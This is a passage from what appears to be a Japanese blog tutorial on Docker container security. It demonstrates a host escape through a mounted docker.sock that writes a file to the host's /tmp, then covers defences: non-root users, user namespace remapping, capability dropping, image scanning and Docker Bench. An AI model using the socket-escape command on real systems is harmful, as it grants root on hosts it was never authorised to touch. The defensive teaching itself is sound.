この両者の通信に使われるのが、docker.sock という UNIX ドメインソケットファイルです。
危険性
docker.sockにアクセスできると、クライアントは Docker デーモンとフルアクセスで通信できます。
・コンテナの作成・削除
・イメージのビルド・削除
・ネットワーク・ボリューム管理 など
が可能になります。
#ターミナル画面 ubuntu bash
$ docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
docker:latest docker run --rm -v /:/host alpine \
sh -c "echo 'Escaped to host via Docker socket' > /host/tmp/pwned.txt"
Unable to find image 'docker:latest' locally
latest: Pulling from library/docker
9f194ce3319b: Pull complete
3c3c894803c9: Pull complete
a786df52bc31: Pull complete
fa8e1feda6a7: Pull complete
086cd1daa2b2: Pull complete
d27a3ff144a8: Pull complete
ec9b72e5efab: Pull complete
a2e3d005d0ef: Pull complete
0bba08ed4b94: Pull complete
b6a138df0e08: Pull complete
26a85d6ba8bd: Pull complete
fafcf9b7e804: Pull complete
f28921059859: Pull complete
ee11c760d55d: Pull complete
4f4fb700ef54: Pull complete
Digest: sha256:d33eb93fe02683e984e6f8a93c0b3d85bb74f56ec83922bc39fb34ba23ab42bc
Status: Downloaded newer image for docker:latest
$ cd /tmp
/tmp$ ls -la
total 52
drwxrwxrwt 12 root root 4096 Jun 30 10:17 .
drwxr-xr-x 23 root root 4096 Jun 30 09:15 ..
drwxrwxrwt 2 root root 4096 Jun 30 09:15 .ICE-unix
drwxrwxrwx 2 root root 60 Jun 30 09:15 .X11-unix
drwxrwxrwt 2 root root 4096 Jun 30 09:15 .XIM-unix
drwxrwxrwt 2 root root 4096 Jun 30 09:15 .font-unix
-rwxr-xr-x 1 root root 39 Jun 30 09:17 backdoor.sh
-rw-r--r-- 1 root root 34 Jun 30 10:17 pwned.txt
drwx------ 2 root root 4096 Jun 30 09:15 snap-private-tmp
drwx------ 3 root root 4096 Jun 30 09:37 systemd-private-1307b13a89a649939b03c8ce40e0caf9-polkit.service-eQsIRD
drwx------ 3 root root 4096 Jun 30 09:15 systemd-private-1307b13a89a649939b03c8ce40e0caf9-systemd-logind.service-x8nZFx
drwx------ 3 root root 4096 Jun 30 09:15 systemd-private-1307b13a89a649939b03c8ce40e0caf9-systemd-resolved.service-j5dtCY
drwx------ 3 root root 4096 Jun 30 09:15 systemd-private-1307b13a89a649939b03c8ce40e0caf9-systemd-timesyncd.service-ISCTMj
drwx------ 3 root root 4096 Jun 30 09:15 systemd-private-1307b13a89a649939b03c8ce40e0caf9-wsl-pro.service-GImihs
/tmp$ cat pwned.txt
Escaped to host via Docker socket
/tmp$
対処⽅法
非rootユーザーでの実行
非rootユーザーを作成した後に、ファイルの所有権を非rootユーザーに変更し、ユーザーをrootから非rootユーザーへ切り替えてからアプリを起動する。
#dockerfile
FROM node:16-alpine
# 非特権ユーザーの作成
RUN addgroup -g 1001 -S nodejs && \
adduser -S nextjs -u 1001
# アプリケーションファイルのコピーと権限設定
COPY --chown=nextjs:nodejs . .
#ユーザー切り替え
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
```
Docker User Namespace(ユーザー名前空間)の活用
DockerにおけるUser Namespace(ユーザー名前空間)は、コンテナセキュリティを大幅に向上させるための重要な機能です。
簡単に言えば、コンテナ内のrootユーザーを、ホスト上の非特権ユーザーにマッピングすることで、仮にコンテナが侵害されたとしても、ホストシステムへの影響を最小限に抑えることを目指します。
User Namespaceとは何か?
Linuxカーネルの名前空間(Namespace)機能の一つで、プロセスが「どのユーザーID(UID)とグループID(GID)を持っているか」という認識を隔離するものです。
- 通常のDockerコンテナ
デフォルトでは、コンテナ内のrootユーザー(UID 0)は、ホストシステム上のrootユーザー(UID 0)として認識されます。これは、コンテナがブレイクアウト(脱出)した場合に、攻撃者がホスト上でroot権限を取得するリスクがあるため、セキュリティ上の懸念となります。 - User Namespaceを有効にした場合
コンテナ内のrootユーザー(UID 0)は、ホストシステム上とは異なり権限の低いUID/GIDとして認識されるようになります。
Docker User Namespace の設定手順
ステップ1: サブUID/GID範囲の設定
Dockerデーモンで userns-remap: "default" を設定すると、Dockerは自動的に dockremap ユーザーとグループを作成し、/etc/subuid および /etc/subgid に対応するサブUID/GID範囲を割り当てます。
例
myuser という既存のユーザーにサブUID/GIDを割り当てるには、以下のファイルを編集します。
/etc/subuid
/etc/subgid
各ファイルに以下の形式で追記します。
<username>:<starting_uid>:<uid_count>
例えば、myuser にUID 100000から65536個のUIDを割り当てる場合
/etc/subuid に下記を追記
myuser:100000:65536
/etc/subgid に下記を追記
myuser:100000:65536
ステップ2: Dockerデーモンの設定ファイルを編集
Dockerデーモンの設定ファイルは通常 /etc/docker/daemon.json にあります。
このファイルを作成または編集して、User Namespace Remappingを有効にします。
/etc/docker/daemon.jsonファイルの編集
default を使用する場合:
{
"userns-remap": "default"
}
default を使用する場合は、Dockerが自動的に dockremap ユーザー/グループを作成し、UID/GID範囲を割り当てます。
特定の既存ユーザーを使用する場合:
{
"userns-remap": "myuser"
}
ステップ3: Dockerデーモンの再起動
設定変更を適用するために、Dockerデーモンを再起動します。
Dockerコンテナの最小権限の原則の適用
コンテナやその中で動作するプロセスに、実行に必要最小限の権限のみを与えるというセキュリティの原則を適用する方法です。
# docker-compose.ymlファイルへの最小権限の原則の適用
version: '3.8'
services:
app:
build: .
user: "1001:1001"
read_only: true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
security_opt:
- no-new-privileges:true
【説明】
user: "1001:1001":
コンテナ内のプロセスを root ユーザー(UID 0)ではなく、UID 1001、GID 1001 の非特権ユーザーとして実行するように強制します。
read_only: true:
コンテナのルートファイルシステムを読み取り専用に設定します。
cap_drop:
- ALL
コンテナから不要なLinuxケーパビリティ(能力)を全て削除します。
cap_add:
アプリケーションの動作に最低限必要なケーパビリティだけをに追加します。
- NET_BIND_SERVICE
1024番未満のポートにバインドする権限を与えます。
通常、非特権ユーザーは1024番未満のポートにバインドできませんが、ウェブサーバーなどがポート80や443をリッスンする場合に必要になります。
security_opt:
コンテナのセキュリティに関連する追加オプションを設定します。
- no-new-privileges:true
コンテナ内のプロセスが追加の特権を取得することを防ぎます。
セキュリティスキャンの実装
Dockerイメージの脆弱性スキャン
Dockerイメージは、アプリケーションとその依存関係をパッケージ化したものであり、その中に既知の脆弱性が含まれている可能性があります。これらを特定するために以下のツールが使用されます。
# Dockerイメージの脆弱性スキャン
docker scout quickview myapp:latest
docker scan myapp:latest
docker scout quickview myapp:latest
docker scout:Docker社が提供するイメージセキュリティツール。
quickview:Docker Scout の簡易レポート機能で、指定したイメージ(ここでは myapp:latest)に含まれる脆弱性や依存関係の問題の概要を表示する。
docker scan myapp:latest
docker scan:Snyk(スニーク)という脆弱性スキャンツールと統合されており、Dockerイメージ内のオープンソースライブラリや依存関係に潜む脆弱性を詳細に分析。
このコマンドは現在非推奨(deprecated)になる傾向があり、将来的には docker scout に統合される見込み
#ターミナル画面 ubuntu bash
$ docker scout quickview tetris
✓ Image stored for indexing
✓ Indexed 421 packages
✓ Provenance obtained from attestation
i Base image was auto-detected. To get more accurate results, build images with max-mode provenance attestations.
Review docs.docker.com ↗ for more information.
Target │ tetris:latest │ 0C 4H 0M 103L 2?
digest │ a40a6c38bf4d │
Base image │ python:3.11-slim │ 0C 3H 0M 30L
Updated base image │ python:3.13-slim │ 0C 1H 0M 27L
│ │ -2 -3
What's next:
View vulnerabilities → docker scout cves tetris
View base image update recommendations → docker scout recommendations tetris
Include policy results in your quickview by supplying an organization → docker scout quickview tetris --org <organization>
$
設定のセキュリティチェック
# 設定のセキュリティチェック
docker bench-security
docker bench-security
docker bench-security は、Dockerコンテナのセキュリティに関するベストプラクティスを評価するためのスクリプトです。
これは、CIS (Center for Internet Security) の「CIS Docker Benchmark」に基づいています。
このベンチマークは、Dockerのセキュリティ設定に関する具体的な推奨事項をまとめたものです。
GitHubのdocker/docker-bench-security から取得して実行します。
#ターミナル画面 ubuntu bash
$ git clone https://github.com/docker/docker-bench-security.git
Cloning into 'docker-bench-security'...
remote: Enumerating objects: 2730, done.
remote: Counting objects: 100% (990/990), done.
remote: Compressing objects: 100% (186/186), done.
remote: Total 2730 (delta 859), reused 804 (delta 804), pack-reused 1740 (from 2)
Receiving objects: 100% (2730/2730), 4.46 MiB | 26.72 MiB/s, done.
Resolving deltas: 100% (1898/1898), done.
$ cd docker-bench-security
$ sudo ./docker-bench-security.sh
[sudo] password for *******:
# --------------------------------------------------------------------------------------------
# Docker Bench for Security v1.6.0
#
# Docker, Inc. (c) 2015-2025
#
# Checks for dozens of common best-practices around deploying Docker containers in production.
# Based on the CIS Docker Benchmark 1.6.0.
# --------------------------------------------------------------------------------------------
Initializing 2025-06-30T14:45:40+09:00
Section A - Check results
[INFO] 1 - Host Configuration
[INFO] 1.1 - Linux Hosts Specific Configuration
WARNING: Plugin "/usr/local/lib/docker/cli-plugins/docker-dev" is not valid: failed to fetch metadata: fork/exec /usr/local/lib/docker/cli-plugins/docker-dev: no such file or directory
WARNING: Plugin "/usr/local/lib/docker/cli-plugins/docker-feedback" is not valid: failed to fetch metadata: fork/exec /usr/local/lib/docker/cli-plugins/docker-feedback: no such file or directory
WARNING: No blkio throttle.read_bps_device support
WARNING: No blkio throttle.write_bps_device support
WARNING: No blkio throttle.read_iops_device support
WARNING: No blkio throttle.write_iops_device support
WARNING: DOCKER_INSECURE_NO_IPTABLES_RAW is set
[WARN] 1.1.1 - Ensure a separate partition for containers has been created (Automated)
[INFO] 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
~~~~~
~~~~~
[PASS] 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS] 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS] 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
Section C - Score
[INFO] Checks: 86
[INFO] Score: 5
$
実行時のセキュリティ制限
Dockerコンテナを起動する際に、様々なセキュリティオプションを付与して実行する。
# セキュリティオプションを指定した実行
docker run \
--user 1001:1001 \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=100m \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--security-opt=no-new-privileges:true \
myapp:latest
--user 1001:1001
コンテナ内で実行されるプロセスのユーザーとグループを指定。
--read-only
コンテナのルートファイルシステムを読み取り専用する。
--tmpfs /tmp:rw,noexec,nosuid,size=100m
一時ファイルシステム(tmpfs)をコンテナ内にマウントし、そのプロパティを細かく制御する。
--cap-drop=ALL
コンテナからすべてのLinuxケーパビリティ(capabilities)を削除する。
--cap-add=NET_BIND_SERVICE
--cap-drop=ALL で削除したケーパビリティのうち、アプリケーションの実行に必要不可欠なものだけを明示的に追加する。
--security-opt=no-new-privileges:true
コンテナ内のプロセスが、setuidやsetgidビットを持つ実行ファイルを介して新たな特権を取得するのを防ぐ。
まとめ
Dockerコンテナをroot権限で実行することは、セキュリティ上の重大なリスクをもたらします。
本記事で紹介した検証コードを実際に実行することで、その危険性を体感できます。

